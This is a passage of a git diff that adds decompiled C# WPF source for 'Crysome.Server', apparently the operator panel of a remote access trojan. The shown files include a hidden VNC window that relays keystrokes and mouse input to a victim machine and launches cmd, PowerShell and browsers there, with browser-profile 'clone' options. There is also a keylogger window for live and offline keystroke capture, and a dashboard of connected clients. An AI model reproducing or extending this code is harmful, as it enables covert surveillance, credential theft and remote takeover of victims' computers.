(vk != 8 && vk != 9 && vk != 13 && vk != 27 && vk != 33 && vk != 34 && vk != 35 && vk != 36 && vk != 37 && vk != 38 && vk != 39 && vk != 40 && vk != 45) + { + return vk == 46; + } + return true; + } + + private void SendKeyToHvnc(KeyEventArgs e, bool isKeyDown) + { + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + if (!_streaming) + { + return; + } + ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; + if (keyboardControlSwitch == null || ((ToggleButton)(object)keyboardControlSwitch).IsChecked != true) + { + return; + } + int num = KeyInterop.VirtualKeyFromKey(e.Key); + if (num == 16 || num == 20) + { + return; + } + if (isKeyDown) + { + _keysDownSent.Add(num); + } + else + { + if (!_keysDownSent.Remove(num)) + { + return; + } + int tickCount = Environment.TickCount; + if (IsControlKey(num)) + { + if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num) + { + _lastSentKeyOrChar = num; + _lastSentTicks = tickCount; + _vm.SendHvncInput(_client, 256, num, 0); + _vm.SendHvncInput(_client, 257, num, 0); + } + return; + } + int modifiedChar = GetModifiedChar(num); + if (modifiedChar >= 32) + { + if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != modifiedChar + 65536) + { + _lastSentKeyOrChar = modifiedChar + 65536; + _lastSentTicks = tickCount; + _vm.SendHvncInput(_client, 258, modifiedChar, 0); + } + } + else if ((uint)(tickCount - _lastSentTicks) >= 120u || _lastSentKeyOrChar != num) + { + _lastSentKeyOrChar = num; + _lastSentTicks = tickCount; + _vm.SendHvncInput(_client, 256, num, 0); + _vm.SendHvncInput(_client, 257, num, 0); + } + } + } + + private void HvncImage_PreviewKeyDown(object sender, KeyEventArgs e) + { + SendKeyToHvnc(e, isKeyDown: true); + } + + private void HvncImage_PreviewKeyUp(object sender, KeyEventArgs e) + { + SendKeyToHvnc(e, isKeyDown: false); + } + + private void Window_PreviewKeyDown(object sender, KeyEventArgs e) + { + if (_streaming) + { + ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; + if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true) + { + SendKeyToHvnc(e, isKeyDown: true); + e.Handled = true; + } + } + } + + private void Window_PreviewKeyUp(object sender, KeyEventArgs e) + { + if (_streaming) + { + ToggleSwitch keyboardControlSwitch = KeyboardControlSwitch; + if (keyboardControlSwitch != null && ((ToggleButton)(object)keyboardControlSwitch).IsChecked == true) + { + SendKeyToHvnc(e, isKeyDown: false); + e.Handled = true; + } + } + } + + private void RunExplorer_Click(object sender, RoutedEventArgs e) + { + _vm.SendHvncRunRequest(_client, 0); + } + + private void RunRunDialog_Click(object sender, RoutedEventArgs e) + { + _vm.SendHvncRunRequest(_client, 1); + } + + private void RunCmd_Click(object sender, RoutedEventArgs e) + { + _vm.SendHvncRunRequest(_client, 2); + } + + private void RunPowerShell_Click(object sender, RoutedEventArgs e) + { + _vm.SendHvncRunRequest(_client, 3); + } + + private void RunChrome_Click(object sender, RoutedEventArgs e) + { + ManageClientsViewModel vm = _vm; + ClientInfo client = _client; + ToggleSwitch cloneControlSwitch = CloneControlSwitch; + vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 11 : 4)); + } + + private void RunEdge_Click(object sender, RoutedEventArgs e) + { + ManageClientsViewModel vm = _vm; + ClientInfo client = _client; + ToggleSwitch cloneControlSwitch = CloneControlSwitch; + vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 12 : 5)); + } + + private void RunFirefox_Click(object sender, RoutedEventArgs e) + { + ManageClientsViewModel vm = _vm; + ClientInfo client = _client; + ToggleSwitch cloneControlSwitch = CloneControlSwitch; + vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 13 : 6)); + } + + private void RunOpera_Click(object sender, RoutedEventArgs e) + { + ManageClientsViewModel vm = _vm; + ClientInfo client = _client; + ToggleSwitch cloneControlSwitch = CloneControlSwitch; + vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 14 : 7)); + } + + private void RunOperaGX_Click(object sender, RoutedEventArgs e) + { + ManageClientsViewModel vm = _vm; + ClientInfo client = _client; + ToggleSwitch cloneControlSwitch = CloneControlSwitch; + vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 15 : 8)); + } + + private void RunBrave_Click(object sender, RoutedEventArgs e) + { + ManageClientsViewModel vm = _vm; + ClientInfo client = _client; + ToggleSwitch cloneControlSwitch = CloneControlSwitch; + vm.SendHvncRunRequest(client, (byte)((cloneControlSwitch != null && ((ToggleButton)(object)cloneControlSwitch).IsChecked == true) ? 16 : 9)); + } + + private void RunNotepad_Click(object sender, RoutedEventArgs e) + { + _vm.SendHvncRunRequest(_client, 17); + } + + private void RunCalculator_Click(object sender, RoutedEventArgs e) + { + _vm.SendHvncRunRequest(_client, 18); + } + + private void RunDiscord_Click(object sender, RoutedEventArgs e) + { + _vm.SendHvncRunRequest(_client, 19); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/hvncwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_00d7: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Expected O, but got Unknown + //IL_00fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0105: Expected O, but got Unknown + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_0129: Expected O, but got Unknown + //IL_01fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0213: Expected O, but got Unknown + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_022b: Expected O, but got Unknown + //IL_022d: Unknown result type (might be due to invalid IL or missing references) + //IL_0243: Expected O, but got Unknown + //IL_0245: Unknown result type (might be due to invalid IL or missing references) + //IL_025b: Expected O, but got Unknown + //IL_025d: Unknown result type (might be due to invalid IL or missing references) + //IL_0273: Expected O, but got Unknown + //IL_0275: Unknown result type (might be due to invalid IL or missing references) + //IL_028b: Expected O, but got Unknown + //IL_028d: Unknown result type (might be due to invalid IL or missing references) + //IL_02a3: Expected O, but got Unknown + //IL_02a5: Unknown result type (might be due to invalid IL or missing references) + //IL_02bb: Expected O, but got Unknown + //IL_02bd: Unknown result type (might be due to invalid IL or missing references) + //IL_02d3: Expected O, but got Unknown + //IL_02d5: Unknown result type (might be due to invalid IL or missing references) + //IL_02eb: Expected O, but got Unknown + //IL_02ed: Unknown result type (might be due to invalid IL or missing references) + //IL_0303: Expected O, but got Unknown + //IL_0305: Unknown result type (might be due to invalid IL or missing references) + //IL_031b: Expected O, but got Unknown + //IL_031d: Unknown result type (might be due to invalid IL or missing references) + //IL_0333: Expected O, but got Unknown + //IL_0336: Unknown result type (might be due to invalid IL or missing references) + //IL_0340: Expected O, but got Unknown + //IL_0343: Unknown result type (might be due to invalid IL or missing references) + //IL_034d: Expected O, but got Unknown + //IL_0350: Unknown result type (might be due to invalid IL or missing references) + //IL_035a: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Grid)target).PreviewKeyDown += Window_PreviewKeyDown; + ((Grid)target).PreviewKeyUp += Window_PreviewKeyUp; + break; + case 2: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 3: + TitleText = (TextBlock)target; + break; + case 4: + StartBtn = (Button)target; + ((ButtonBase)(object)StartBtn).Click += StartBtn_Click; + break; + case 5: + StopBtn = (Button)target; + ((ButtonBase)(object)StopBtn).Click += StopBtn_Click; + break; + case 6: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 7: + HvncViewbox = (Viewbox)target; + break; + case 8: + HvncImage = (Image)target; + HvncImage.MouseMove += HvncImage_MouseMove; + HvncImage.MouseLeftButtonDown += HvncImage_MouseDown; + HvncImage.MouseLeftButtonUp += HvncImage_MouseUp; + HvncImage.MouseRightButtonDown += HvncImage_MouseDown; + HvncImage.MouseRightButtonUp += HvncImage_MouseUp; + HvncImage.PreviewKeyDown += HvncImage_PreviewKeyDown; + HvncImage.PreviewKeyUp += HvncImage_PreviewKeyUp; + break; + case 9: + ((ButtonBase)(Button)target).Click += RunExplorer_Click; + break; + case 10: + ((ButtonBase)(Button)target).Click += RunRunDialog_Click; + break; + case 11: + ((ButtonBase)(Button)target).Click += RunCmd_Click; + break; + case 12: + ((ButtonBase)(Button)target).Click += RunPowerShell_Click; + break; + case 13: + ((ButtonBase)(Button)target).Click += RunEdge_Click; + break; + case 14: + ((ButtonBase)(Button)target).Click += RunChrome_Click; + break; + case 15: + ((ButtonBase)(Button)target).Click += RunFirefox_Click; + break; + case 16: + ((ButtonBase)(Button)target).Click += RunOpera_Click; + break; + case 17: + ((ButtonBase)(Button)target).Click += RunOperaGX_Click; + break; + case 18: + ((ButtonBase)(Button)target).Click += RunBrave_Click; + break; + case 19: + ((ButtonBase)(Button)target).Click += RunDiscord_Click; + break; + case 20: + ((ButtonBase)(Button)target).Click += RunNotepad_Click; + break; + case 21: + ((ButtonBase)(Button)target).Click += RunCalculator_Click; + break; + case 22: + CloneControlSwitch = (ToggleSwitch)target; + break; + case 23: + MouseControlSwitch = (ToggleSwitch)target; + break; + case 24: + KeyboardControlSwitch = (ToggleSwitch)target; + break; + case 25: + StatusText = (TextBlock)target; + break; + case 26: + FpsText = (TextBlock)target; + break; + case 27: + IntervalSlider = (Slider)target; + break; + case 28: + IntervalLabel = (TextBlock)target; + break; + case 29: + QualityCombo = (ComboBox)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/KeyloggerWindow.cs b/Crysome.Server/Crysome.Server.View/KeyloggerWindow.cs new file mode 100644 index 0000000..2d9b008 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/KeyloggerWindow.cs @@ -0,0 +1,224 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Threading; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class KeyloggerWindow : FluentWindow, IComponentConnector +{ + private readonly ClientInfo _client; + + private readonly ManageClientsViewModel _vm; + + private bool _running; + + internal TextBlock TitleText; + + internal Button StartBtn; + + internal Button StopBtn; + + internal Button ClearBtn; + + internal Button CloseBtn; + + internal TextBox LogBox; + + internal Button RequestOfflineBtn; + + internal TextBox OfflineLogBox; + + internal TextBlock StatusText; + + private bool _contentLoaded; + + public KeyloggerWindow(ClientInfo client, ManageClientsViewModel vm) + { + InitializeComponent(); + _client = client; + _vm = vm; + ((Window)this).Title = "Keylogger — " + (client?.Address ?? "?"); + TitleText.Text = ((Window)this).Title; + ((Window)this).Closed += OnWindowClosed; + if (!string.IsNullOrEmpty(client?.OfflineKeylogData)) + { + OfflineLogBox.Text = client.OfflineKeylogData; + } + } + + private void OnWindowClosed(object sender, EventArgs e) + { + if (_running) + { + _vm.StopKeylogger(_client); + } + _vm.UnregisterOfflineKeylogCallback(_client?.Owner); + } + + private void StartBtn_Click(object sender, RoutedEventArgs e) + { + _running = true; + ((UIElement)(object)StartBtn).IsEnabled = false; + ((UIElement)(object)StopBtn).IsEnabled = true; + StatusText.Text = "Capturing keystrokes..."; + LogBox.Clear(); + _vm.StartKeylogger(_client, AppendLog); + _vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog); + } + + private void StopBtn_Click(object sender, RoutedEventArgs e) + { + _running = false; + ((UIElement)(object)StartBtn).IsEnabled = true; + ((UIElement)(object)StopBtn).IsEnabled = false; + StatusText.Text = "Stopped."; + _vm.StopKeylogger(_client); + } + + private void ClearBtn_Click(object sender, RoutedEventArgs e) + { + LogBox.Clear(); + OfflineLogBox.Clear(); + } + + private void OfflineTab_Selected(object sender, RoutedEventArgs e) + { + if (string.IsNullOrEmpty(OfflineLogBox.Text) && !string.IsNullOrEmpty(_client?.OfflineKeylogData)) + { + OfflineLogBox.Text = _client.OfflineKeylogData; + } + _vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog); + } + + private void TabControl_SelectionChanged(object sender, SelectionChangedEventArgs e) + { + if (sender is TabControl { SelectedIndex: 1 }) + { + OfflineTab_Selected(sender, null); + } + } + + private void RequestOfflineBtn_Click(object sender, RoutedEventArgs e) + { + OfflineLogBox.AppendText("\n[Offline data request triggered — awaiting upload from client...]\n"); + OfflineLogBox.ScrollToEnd(); + StatusText.Text = "Offline data will arrive automatically on next reconnect."; + } + + private void AppendLog(string data) + { + ((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + LogBox.AppendText(data); + LogBox.ScrollToEnd(); + }, Array.Empty()); + } + + private void AppendOfflineLog(string data, bool isOffline) + { + ((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + OfflineLogBox.AppendText(data); + OfflineLogBox.ScrollToEnd(); + }, Array.Empty()); + } + + private void CloseBtn_Click(object sender, RoutedEventArgs e) + { + ((Window)this).Close(); + } + + private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e) + { + try + { + ((Window)this).DragMove(); + } + catch + { + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/keyloggerwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Expected O, but got Unknown + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_008e: Expected O, but got Unknown + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Expected O, but got Unknown + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Expected O, but got Unknown + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Expected O, but got Unknown + switch (connectionId) + { + case 1: + ((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown; + break; + case 2: + TitleText = (TextBlock)target; + break; + case 3: + StartBtn = (Button)target; + ((ButtonBase)(object)StartBtn).Click += StartBtn_Click; + break; + case 4: + StopBtn = (Button)target; + ((ButtonBase)(object)StopBtn).Click += StopBtn_Click; + break; + case 5: + ClearBtn = (Button)target; + ((ButtonBase)(object)ClearBtn).Click += ClearBtn_Click; + break; + case 6: + CloseBtn = (Button)target; + ((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click; + break; + case 7: + ((TabControl)target).SelectionChanged += TabControl_SelectionChanged; + break; + case 8: + LogBox = (TextBox)target; + break; + case 9: + RequestOfflineBtn = (Button)target; + ((ButtonBase)(object)RequestOfflineBtn).Click += RequestOfflineBtn_Click; + break; + case 10: + OfflineLogBox = (TextBox)target; + break; + case 11: + StatusText = (TextBlock)target; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/LanguageWindow.cs b/Crysome.Server/Crysome.Server.View/LanguageWindow.cs new file mode 100644 index 0000000..67a632d --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/LanguageWindow.cs @@ -0,0 +1,165 @@ +using System; +using System.CodeDom.Compiler; +using System.Collections; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Markup; +using System.Windows.Media; +using Microsoft.Win32; +using Wpf.Ui.Controls; + +namespace Crysome.Server.View; + +public class LanguageWindow : FluentWindow, IComponentConnector +{ + private static readonly string SavedLangPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "language.dat"); + + internal TitleBar TitleBarControl; + + internal TextBlock SelectLabel; + + internal ComboBox LanguageComboBox; + + internal Button ContinueButton; + + private bool _contentLoaded; + + public string SelectedCultureTag { get; private set; } = "en"; + + public LanguageWindow() + { + InitializeComponent(); + ApplyBackdrop(); + PreSelectSavedLanguage(); + } + + private void PreSelectSavedLanguage() + { + string text = LoadSavedLanguage(); + foreach (ComboBoxItem item in (IEnumerable)LanguageComboBox.Items) + { + if (item.Tag as string == text) + { + LanguageComboBox.SelectedItem = item; + return; + } + } + LanguageComboBox.SelectedIndex = 0; + } + + private static string LoadSavedLanguage() + { + try + { + if (File.Exists(SavedLangPath)) + { + string text = File.ReadAllText(SavedLangPath)?.Trim(); + if (!string.IsNullOrEmpty(text)) + { + return text; + } + } + } + catch + { + } + return "en"; + } + + private void SaveLanguage(string tag) + { + try + { + File.WriteAllText(SavedLangPath, tag); + } + catch + { + } + } + + private void ContinueButton_Click(object sender, RoutedEventArgs e) + { + if (LanguageComboBox.SelectedItem is ComboBoxItem { Tag: string tag }) + { + SelectedCultureTag = tag; + SaveLanguage(tag); + } + ((Window)this).DialogResult = true; + ((Window)this).Close(); + } + + private void ApplyBackdrop() + { + if (IsWindows11OrNewer()) + { + ((FluentWindow)this).ExtendsContentIntoTitleBar = true; + ((FluentWindow)this).WindowBackdropType = (WindowBackdropType)2; + } + else + { + ((Control)this).Background = new SolidColorBrush(Color.FromRgb(32, 32, 32)); + } + } + + private static bool IsWindows11OrNewer() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey?.GetValue("CurrentBuild") is string s && int.TryParse(s, out var result)) + { + return result >= 22000; + } + } + catch + { + } + return false; + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/languagewindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Expected O, but got Unknown + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Expected O, but got Unknown + switch (connectionId) + { + case 1: + TitleBarControl = (TitleBar)target; + break; + case 2: + SelectLabel = (TextBlock)target; + break; + case 3: + LanguageComboBox = (ComboBox)target; + break; + case 4: + ContinueButton = (Button)target; + ((ButtonBase)(object)ContinueButton).Click += ContinueButton_Click; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/ManageClients.cs b/Crysome.Server/Crysome.Server.View/ManageClients.cs new file mode 100644 index 0000000..0e34d22 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/ManageClients.cs @@ -0,0 +1,334 @@ +using System; +using System.CodeDom.Compiler; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.Linq; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media; +using System.Windows.Shapes; +using System.Windows.Threading; +using Crysome.Common.Network; +using Crysome.Server.Model; +using Crysome.Server.ViewModel; + +namespace Crysome.Server.View; + +public class ManageClients : UserControl, IComponentConnector +{ + private readonly DispatcherTimer _animTimer = new DispatcherTimer + { + Interval = TimeSpan.FromMilliseconds(16L, 0L) + }; + + private readonly DispatcherTimer _statsTimer = new DispatcherTimer + { + Interval = TimeSpan.FromMilliseconds(800L, 0L) + }; + + private readonly double[] _dotX = new double[5] { 0.0, 30.0, 60.0, 90.0, 120.0 }; + + private readonly double[] _dotSpeed = new double[5] { 2.8, 2.1, 3.3, 1.9, 2.5 }; + + private const double CanvasWidth = 170.0; + + private readonly TranslateTransform[] _dotTx; + + internal ManageClients TheControl; + + internal Canvas PacketCanvas; + + internal Ellipse Dot0; + + internal TranslateTransform DotTx0; + + internal Ellipse Dot1; + + internal TranslateTransform DotTx1; + + internal Ellipse Dot2; + + internal TranslateTransform DotTx2; + + internal Ellipse Dot3; + + internal TranslateTransform DotTx3; + + internal Ellipse Dot4; + + internal TranslateTransform DotTx4; + + internal Border ThroughputBar; + + internal TextBlock ThroughputText; + + internal Border QualityBar; + + internal TextBlock QualityBarText; + + internal TextBlock RttText; + + internal TextBlock LossText; + + internal TextBlock TxText; + + internal TextBlock RxText; + + internal TextBlock ClientsCountText; + + internal TextBlock AdaptiveLevelText; + + internal DataGrid ClientsGrid; + + private bool _contentLoaded; + + public ManageClients() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Expected O, but got Unknown + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Expected O, but got Unknown + InitializeComponent(); + _dotTx = new TranslateTransform[5] { DotTx0, DotTx1, DotTx2, DotTx3, DotTx4 }; + _animTimer.Tick += AnimTimer_Tick; + _statsTimer.Tick += StatsTimer_Tick; + _animTimer.Start(); + _statsTimer.Start(); + base.Unloaded += delegate + { + _animTimer.Stop(); + _statsTimer.Stop(); + }; + } + + private void AnimTimer_Tick(object sender, EventArgs e) + { + for (int i = 0; i < _dotTx.Length; i++) + { + _dotX[i] += _dotSpeed[i]; + if (_dotX[i] > 180.0) + { + _dotX[i] = -10.0; + } + _dotTx[i].X = _dotX[i]; + } + } + + private void StatsTimer_Tick(object sender, EventArgs e) + { + if (!(base.DataContext is ManageClientsViewModel manageClientsViewModel)) + { + return; + } + List clientSnapshot = manageClientsViewModel.GetClientSnapshot(); + ClientsCountText.Text = clientSnapshot.Count.ToString(); + if (clientSnapshot.Count == 0) + { + RttText.Text = "— ms"; + LossText.Text = "0.0 %"; + TxText.Text = "0 B"; + RxText.Text = "0 B"; + ThroughputBar.Width = 0.0; + ThroughputText.Text = "0 KB/s"; + QualityBar.Width = 170.0; + QualityBarText.Text = "Idle"; + AdaptiveLevelText.Text = " · —"; + return; + } + double num = 0.0; + double num2 = 0.0; + long num3 = 0L; + long num4 = 0L; + foreach (CrysomeClient item in clientSnapshot) + { + num += item.RttMs; + num2 += item.LossRate; + num3 += item.BytesSent; + num4 += item.BytesRecv; + } + double num5 = num / (double)clientSnapshot.Count; + double num6 = num2 / (double)clientSnapshot.Count * 100.0; + RttText.Text = $"{num5:F0} ms"; + LossText.Text = $"{num6:F1} %"; + TxText.Text = FormatBytes(num3); + RxText.Text = FormatBytes(num4); + double num7 = (double)(num3 + num4) / 1024.0 / 0.8; + double val = Math.Min(170.0, num7 / 500.0 * 170.0); + ThroughputBar.Width = Math.Max(0.0, val); + ThroughputText.Text = $"{num7:F0} KB/s"; + double num8 = Math.Min(1.0, num6 / 100.0 * 0.6 + num5 / 2000.0 * 0.4); + double width = Math.Max(10.0, (1.0 - num8) * 170.0); + QualityBar.Width = width; + if (num8 < 0.1) + { + QualityBar.Background = new SolidColorBrush(Color.FromRgb(129, 199, 132)); + QualityBarText.Text = "Excellent"; + AdaptiveLevelText.Text = " · HD"; + } + else if (num8 < 0.3) + { + QualityBar.Background = new SolidColorBrush(Color.FromRgb(79, 195, 247)); + QualityBarText.Text = "Good"; + AdaptiveLevelText.Text = " · Good"; + } + else if (num8 < 0.6) + { + QualityBar.Background = new SolidColorBrush(Color.FromRgb(byte.MaxValue, 183, 77)); + QualityBarText.Text = "Fair"; + AdaptiveLevelText.Text = " · Fair"; + } + else + { + QualityBar.Background = new SolidColorBrush(Color.FromRgb(239, 83, 80)); + QualityBarText.Text = "Poor"; + AdaptiveLevelText.Text = " · Low"; + } + LossText.Foreground = ((num6 < 1.0) ? new SolidColorBrush(Color.FromRgb(129, 199, 132)) : ((num6 < 5.0) ? new SolidColorBrush(Color.FromRgb(byte.MaxValue, 183, 77)) : new SolidColorBrush(Color.FromRgb(239, 83, 80)))); + double num9 = 1.0 + Math.Min(2.0, num7 / 100.0); + for (int i = 0; i < _dotSpeed.Length; i++) + { + _dotSpeed[i] = (1.5 + (double)i * 0.4) * num9; + } + } + + private static string FormatBytes(long b) + { + if (b < 1024) + { + return b + " B"; + } + if (b < 1048576) + { + return ((double)b / 1024.0).ToString("F1") + " KB"; + } + return ((double)b / 1024.0 / 1024.0).ToString("F1") + " MB"; + } + + private void ClientsGrid_SelectionChanged(object sender, SelectionChangedEventArgs e) + { + if (base.DataContext is ManageClientsViewModel manageClientsViewModel && sender is DataGrid dataGrid) + { + List items = dataGrid.SelectedItems.Cast().ToList(); + manageClientsViewModel.SyncSelectedClients(items); + } + } + + private void ClientsGrid_PreviewKeyDown(object sender, KeyEventArgs e) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + if ((int)e.Key == 44 && (int)Keyboard.Modifiers == 2 && sender is DataGrid dataGrid) + { + dataGrid.SelectAll(); + e.Handled = true; + } + } + + private void ClientsGrid_LostFocus(object sender, RoutedEventArgs e) + { + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/manageclients.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + switch (connectionId) + { + case 1: + TheControl = (ManageClients)target; + break; + case 2: + PacketCanvas = (Canvas)target; + break; + case 3: + Dot0 = (Ellipse)target; + break; + case 4: + DotTx0 = (TranslateTransform)target; + break; + case 5: + Dot1 = (Ellipse)target; + break; + case 6: + DotTx1 = (TranslateTransform)target; + break; + case 7: + Dot2 = (Ellipse)target; + break; + case 8: + DotTx2 = (TranslateTransform)target; + break; + case 9: + Dot3 = (Ellipse)target; + break; + case 10: + DotTx3 = (TranslateTransform)target; + break; + case 11: + Dot4 = (Ellipse)target; + break; + case 12: + DotTx4 = (TranslateTransform)target; + break; + case 13: + ThroughputBar = (Border)target; + break; + case 14: + ThroughputText = (TextBlock)target; + break; + case 15: + QualityBar = (Border)target; + break; + case 16: + QualityBarText = (TextBlock)target; + break; + case 17: + RttText = (TextBlock)target; + break; + case 18: + LossText = (TextBlock)target; + break; + case 19: + TxText = (TextBlock)target; + break; + case 20: + RxText = (TextBlock)target; + break; + case 21: + ClientsCountText = (TextBlock)target; + break; + case 22: + AdaptiveLevelText = (TextBlock)target; + break; + case 23: + ClientsGrid = (DataGrid)target; + ClientsGrid.SelectionChanged += ClientsGrid_SelectionChanged; + ClientsGrid.PreviewKeyDown += ClientsGrid_PreviewKeyDown; + ClientsGrid.LostFocus += ClientsGrid_LostFocus; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server.View/PluginManagerTab.cs b/Crysome.Server/Crysome.Server.View/PluginManagerTab.cs new file mode 100644 index 0000000..2c7f0f7 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/PluginManagerTab.cs @@ -0,0 +1,39 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Markup; + +namespace Crysome.Server.View; + +public class PluginManagerTab : UserControl, IComponentConnector +{ + private bool _contentLoaded; + + public PluginManagerTab() + { + InitializeComponent(); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/pluginmanagertab.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + _contentLoaded = true; + } +} diff --git a/Crysome.Server/Crysome.Server.View/ProcessItemViewModel.cs b/Crysome.Server/Crysome.Server.View/ProcessItemViewModel.cs new file mode 100644 index 0000000..e1b065c --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/ProcessItemViewModel.cs @@ -0,0 +1,12 @@ +using System.Windows.Media; + +namespace Crysome.Server.View; + +public class ProcessItemViewModel +{ + public string Name { get; set; } + + public int Pid { get; set; } + + public ImageSource Icon { get; set; } +} diff --git a/Crysome.Server/Crysome.Server.View/ProcessManagerWindow.cs b/Crysome.Server/Crysome.Server.View/ProcessManagerWindow.cs new file mode 100644 index 0000000..9482463 --- /dev/null +++ b/Crysome.Server/Crysome.Server.View/ProcessManagerWindow.cs @@ -0,0 +1,232 @@ +using System; +using System.CodeDom.Compiler; +using System.Collections; +using 